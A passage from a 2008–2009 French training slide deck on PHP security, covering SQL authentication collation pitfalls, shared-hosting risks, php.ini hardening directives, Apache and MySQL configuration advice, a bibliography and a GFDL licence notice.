- ▶ LDAP
- ▶ SSO, OpenID

Authentification par SQL

Attention au jeu de caractères et à la collation !
Sans collation binaire : "secret" = "Sécrèt"

Certaines bibliothèques/frameworks peuvent simplifier la tâche.
Par exemple : `Zend_Auth`, `Zend_Acl`

Plan

- 1 Principes théoriques et pratiques
- 2 Les formulaires HTML
- 3 Bases de données
- 4 Sessions et cookies
- 5 Accès aux fichiers et inclusion de code PHP
- 6 Authentification et autorisation
- 7 Sécuriser l'environnement web
 - Conseils
 - `php.ini`
 - Apache & MySQL

Hébergement partagé

Dégâts involontaires

- Configuration des sessions
Si stockées dans le répertoire commun,
`session.gc_max_lifetime` commun

Attaques entre voisins

- Accès aux sessions
Ce sont des fichiers `sess_[HASH]` lisibles par PHP
- Accès au code source
En particulier la configuration SGBD

⇒ Aucune protection possible contre un voisin hostile !

Solution

- Configuration poussée Apache
VirtualHosts : restrictions d'accès, constantes d'environnement
- Chroot et serveurs distincts (virtuels?)

php.ini : directives importantes

Safe mode	Propriétaire de fichier, pas d'exec système... Très limité, disparaît en PHP 6 http://fr.php.net/features.safe-mode
open_basedir	Restreint les accès fichiers à certains répertoires
allow_url_include	Pas d'inclusion de fichiers distants (PHP 5.2)
allow_url_fopen	Pas d'accès aux fichiers distants !
display_error	A mettre Off en production
magic_quotes_gpc	Off si possible, mais...
disable_functions	<code>eval()</code> est une bonne candidate
register_globals	...

Configuration Apache

SSL

Sans SSL, toutes les requêtes circulent en clair.

Généralités

Vérifier les logs d'accès et d'erreurs.

Configuration pour PHP

Avec `AllowOverride Options`, on peut éviter `ini_set()` :

```
php_flag directive_name on/off
php_value directive_name directive_value
```

A placer dans un `<Directory>` ou un fichier `.htaccess`.

Imposer des paramètres PHP non modifiables

Utiliser `php_admin_value` dans un `<Directory>` des fichiers de configuration Apache.

Recommandé pour `open_basedir` & `disable_functions`.

Configuration MySQL

- Activer les logs binaires (si nécessaire)
Ne logue que les requêtes modifiantes.
Nécessaire pour la réplication, mais peut aussi rétablir des données.
- Activer le log des requêtes lentes
`log_slow_queries = ...`
- Créer des comptes à permissions réduites
Eviter de donner un même compte MySQL à 2 applications.
- Sauvegarder !
`automysqlbackup` est idéal sous Unix.
- Attention aux charsets du serveur et des clients

Bibliographie

Essential PHP Security

Chris Shiflett. *O'Reilly*, 2005.

124 pages.

Beaucoup d'exemples (code PHP, HTML, requêtes HTTP).

php|architect's Guide to PHP Security

Illa Ashanetsky, *nanobooks*, 2005.

201 pages.

Complet quoique parfois désordonné.

Informations utiles

Pour garder le contact :

`francois.gannaz@silecs.info`

Les documents utilisés sont disponibles en ligne :

`http://silecs.info/formations/PHP-Securite/`

- ▶ Transparents
- ▶ Aide-mémoire

Licence

Copyright (c) 2008-2009 François Gannaz
(`francois.gannaz@silecs.info`)

Permission vous est donnée de copier, distribuer et/ou modifier ce document selon les termes de la Licence GNU Free Documentation License, Version 2.0 ou ultérieure publiée par la Free Software Foundation ; pas de section inaltérable ; pas de texte inaltérable de première page de couverture ; texte inaltérable de dernière page de couverture :

Auteur : François Gannaz (`francois.gannaz@silecs.info`)